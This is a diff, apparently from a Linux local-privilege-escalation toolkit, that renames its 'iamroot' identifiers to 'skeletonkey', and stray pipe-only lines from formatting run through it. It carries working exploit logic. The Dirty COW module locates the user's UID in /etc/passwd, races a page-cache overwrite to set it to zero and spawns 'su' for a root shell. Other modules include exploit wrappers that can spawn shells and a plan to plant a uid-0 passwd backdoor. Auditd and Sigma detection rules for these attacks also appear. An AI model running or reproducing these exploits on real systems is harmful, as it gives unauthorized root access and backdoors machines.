/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp6_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp6_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp6_detect();
|
return (skeletonkey_result_t)dirtyfrag_esp6_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp6_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp6_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)dirtyfrag_esp6_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module dirty_frag_esp6_module = {
|
const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||||
.name = "dirty_frag_esp6",
|
.name = "dirty_frag_esp6",
|
||||||
.cve = "CVE-2026-43284",
|
.cve = "CVE-2026-43284",
|
||||||
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
.summary = "IPv6 xfrm-ESP page-cache write (Dirty Frag v6)",
|
||||||
@@ -235,19 +235,19 @@ const struct iamroot_module dirty_frag_esp6_module = {
|
|||||||
|
|
||||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_rxrpc_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_rxrpc_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_rxrpc_detect();
|
return (skeletonkey_result_t)dirtyfrag_rxrpc_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_rxrpc_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module dirty_frag_rxrpc_module = {
|
const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||||
.name = "dirty_frag_rxrpc",
|
.name = "dirty_frag_rxrpc",
|
||||||
.cve = "CVE-2026-43500",
|
.cve = "CVE-2026-43500",
|
||||||
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
.summary = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
|
||||||
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {
|
|||||||
|
|
||||||
/* ----- Family registration ----- */
|
/* ----- Family registration ----- */
|
||||||
|
|
||||||
void iamroot_register_copy_fail_family(void)
|
void skeletonkey_register_copy_fail_family(void)
|
||||||
{
|
{
|
||||||
iamroot_register(©_fail_module);
|
skeletonkey_register(©_fail_module);
|
||||||
iamroot_register(©_fail_gcm_module);
|
skeletonkey_register(©_fail_gcm_module);
|
||||||
iamroot_register(&dirty_frag_esp_module);
|
skeletonkey_register(&dirty_frag_esp_module);
|
||||||
iamroot_register(&dirty_frag_esp6_module);
|
skeletonkey_register(&dirty_frag_esp6_module);
|
||||||
iamroot_register(&dirty_frag_rxrpc_module);
|
skeletonkey_register(&dirty_frag_rxrpc_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
/*
|
||||||
|
* copy_fail_family — SKELETONKEY module registry hooks
|
||||||
|
*
|
||||||
|
* The family currently contains five skeletonkey_module entries:
|
||||||
|
*
|
||||||
|
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
||||||
|
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
||||||
|
* - dirty_frag_esp (CVE-2026-43284 v4)
|
||||||
|
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
||||||
|
* - dirty_frag_rxrpc (CVE-2026-43500)
|
||||||
|
*
|
||||||
|
* Defined in skeletonkey_modules.c, registered into the global registry
|
||||||
|
* by skeletonkey_register_copy_fail_family() (declared in
|
||||||
|
* core/registry.h).
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||||
|
#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module copy_fail_module;
|
||||||
|
extern const struct skeletonkey_module copy_fail_gcm_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_esp_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_esp6_module;
|
||||||
|
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -13,7 +13,7 @@ the kernel since ~2007.
|
|||||||
Original advisory: <https://dirtycow.ninja/>
|
Original advisory: <https://dirtycow.ninja/>
|
||||||
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
Two-thread Phil-Oester-style race: writer thread via
|
Two-thread Phil-Oester-style race: writer thread via
|
||||||
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef DIRTY_COW_IAMROOT_MODULES_H
|
|
||||||
#define DIRTY_COW_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module dirty_cow_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+26
-26
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* dirty_cow_cve_2016_5195 — IAMROOT module
|
* dirty_cow_cve_2016_5195 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
|
||||||
* handling: a thread writing to /proc/self/mem races a thread calling
|
* handling: a thread writing to /proc/self/mem races a thread calling
|
||||||
@@ -41,7 +41,7 @@
|
|||||||
* - execve(su) → shell with uid=0
|
* - execve(su) → shell with uid=0
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- iamroot interface ---- */
|
/* ---- skeletonkey interface ---- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
|
||||||
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
|
||||||
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
|
||||||
"/etc/passwd via /proc/self/mem\n");
|
"/etc/passwd via /proc/self/mem\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = dirty_cow_detect(ctx);
|
skeletonkey_result_t pre = dirty_cow_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
struct passwd *pw = getpwuid(geteuid());
|
struct passwd *pw = getpwuid(geteuid());
|
||||||
if (!pw) {
|
if (!pw) {
|
||||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
off_t uid_off;
|
off_t uid_off;
|
||||||
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||||
pw->pw_name);
|
pw->pw_name);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||||
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||||
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
|
|||||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||||
perror("execlp(su)");
|
perror("execlp(su)");
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Embedded detection rules ---- */
|
/* ---- Embedded detection rules ---- */
|
||||||
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
|
|||||||
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
|
||||||
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
|
||||||
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
|
||||||
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
|
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
|
||||||
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
|
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
|
||||||
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
|
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
|
||||||
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
|
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
|
||||||
|
|
||||||
static const char dirty_cow_sigma[] =
|
static const char dirty_cow_sigma[] =
|
||||||
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
|
||||||
"id: 1e2c5d8f-iamroot-dirty-cow\n"
|
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
|
||||||
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||||
|
|
||||||
const struct iamroot_module dirty_cow_module = {
|
const struct skeletonkey_module dirty_cow_module = {
|
||||||
.name = "dirty_cow",
|
.name = "dirty_cow",
|
||||||
.cve = "CVE-2016-5195",
|
.cve = "CVE-2016-5195",
|
||||||
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
|
||||||
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_dirty_cow(void)
|
void skeletonkey_register_dirty_cow(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&dirty_cow_module);
|
skeletonkey_register(&dirty_cow_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTY_COW_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirty_cow_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -25,7 +25,7 @@ by them.
|
|||||||
|
|
||||||
Even in 2026, many production deployments still run vulnerable
|
Even in 2026, many production deployments still run vulnerable
|
||||||
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
|
||||||
makes IAMROOT useful as a "historical sweep" tool on long-tail
|
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
|
||||||
systems.
|
systems.
|
||||||
|
|
||||||
## Implementation plan
|
## Implementation plan
|
||||||
@@ -34,8 +34,8 @@ systems.
|
|||||||
`NOTICE.md` when implemented)
|
`NOTICE.md` when implemented)
|
||||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||||
for fixed-version backports
|
for fixed-version backports
|
||||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||||
backdoor mode
|
backdoor mode
|
||||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||||
filesystem audit on `/etc/passwd` modification by non-root
|
filesystem audit on `/etc/passwd` modification by non-root
|
||||||
@@ -44,4 +44,4 @@ systems.
|
|||||||
|
|
||||||
Pick this up after Phase 1 (module-interface refactor of the
|
Pick this up after Phase 1 (module-interface refactor of the
|
||||||
copy_fail family) so this module can use the standard
|
copy_fail family) so this module can use the standard
|
||||||
`iamroot_module` shape from the start.
|
`skeletonkey_module` shape from the start.
|
||||||
|
|||||||
@@ -13,7 +13,7 @@ Original advisory: <https://dirtypipe.cm4all.com/>
|
|||||||
|
|
||||||
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||||
|
|
||||||
## IAMROOT role
|
## SKELETONKEY role
|
||||||
|
|
||||||
This module bundles the canonical splice-into-pipe primitive that
|
This module bundles the canonical splice-into-pipe primitive that
|
||||||
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||||
|
|||||||
@@ -13,14 +13,14 @@
|
|||||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||||
# any modification by non-root — the Dirty Pipe payload typically
|
# any modification by non-root — the Dirty Pipe payload typically
|
||||||
# overwrites these to gain root.
|
# overwrites these to gain root.
|
||||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||||
|
|
||||||
# Watch every splice() syscall — combined with the file watches above
|
# Watch every splice() syscall — combined with the file watches above
|
||||||
# this catches the canonical exploit shape. (High volume on servers
|
# this catches the canonical exploit shape. (High volume on servers
|
||||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||||
# exclude web servers.)
|
# exclude web servers.)
|
||||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||||
id: f6b13c08-iamroot-dirty-pipe
|
id: f6b13c08-skeletonkey-dirty-pipe
|
||||||
status: experimental
|
status: experimental
|
||||||
description: |
|
description: |
|
||||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||||
@@ -10,7 +10,7 @@ description: |
|
|||||||
references:
|
references:
|
||||||
- https://dirtypipe.cm4all.com/
|
- https://dirtypipe.cm4all.com/
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||||
author: IAMROOT
|
author: SKELETONKEY
|
||||||
date: 2026/05/16
|
date: 2026/05/16
|
||||||
logsource:
|
logsource:
|
||||||
product: linux
|
product: linux
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
|
||||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module dirty_pipe_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+39
-39
@@ -1,9 +1,9 @@
|
|||||||
/*
|
/*
|
||||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||||
* is the reference — but landing it under the iamroot_module
|
* is the reference — but landing it under the skeletonkey_module
|
||||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||||
* which are deferred to Phase 1.5).
|
* which are deferred to Phase 1.5).
|
||||||
*
|
*
|
||||||
@@ -15,22 +15,22 @@
|
|||||||
*
|
*
|
||||||
* Detect logic:
|
* Detect logic:
|
||||||
* - Parse uname() release into major.minor.patch
|
* - Parse uname() release into major.minor.patch
|
||||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||||
* - If kernel is on a branch with a known backport, compare patch
|
* - If kernel is on a branch with a known backport, compare patch
|
||||||
* level (above threshold = patched, below = vulnerable)
|
* level (above threshold = patched, below = vulnerable)
|
||||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||||
* - Otherwise → IAMROOT_VULNERABLE
|
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||||
*
|
*
|
||||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||||
* counter, NOT the upstream patch level). For now we treat that as
|
* counter, NOT the upstream patch level). For now we treat that as
|
||||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||||
* hint. A future enhancement: parse /proc/version's full string
|
* hint. A future enhancement: parse /proc/version's full string
|
||||||
* which usually includes the upstream patch level after the distro
|
* which usually includes the upstream patch level after the distro
|
||||||
* suffix.
|
* suffix.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
|
|
||||||
@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
|
|||||||
* /etc/passwd writes; safe to run from --scan --active. */
|
* /etc/passwd writes; safe to run from --scan --active. */
|
||||||
static int dirty_pipe_active_probe(void)
|
static int dirty_pipe_active_probe(void)
|
||||||
{
|
{
|
||||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||||
int fd = mkstemp(probe_path);
|
int fd = mkstemp(probe_path);
|
||||||
if (fd < 0) return -1;
|
if (fd < 0) return -1;
|
||||||
const char seed[16] = "ABCDABCDABCDABCD";
|
const char seed[16] = "ABCDABCDABCDABCD";
|
||||||
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
|
|||||||
return readback[4] == 'X' ? 1 : 0;
|
return readback[4] == 'X' ? 1 : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
struct kernel_version v;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!kernel_version_current(&v)) {
|
||||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.8. */
|
/* Bug introduced in 5.8. */
|
||||||
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||||
v.release);
|
v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||||
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||||
"(version %s)\n", v.release);
|
"(version %s)\n", v.release);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (probe == 0) {
|
if (probe == 0) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
"primitive blocked (likely patched%s)\n",
|
"primitive blocked (likely patched%s)\n",
|
||||||
patched_by_version ? "" : ", or distro silently backported");
|
patched_by_version ? "" : ", or distro silently backported");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
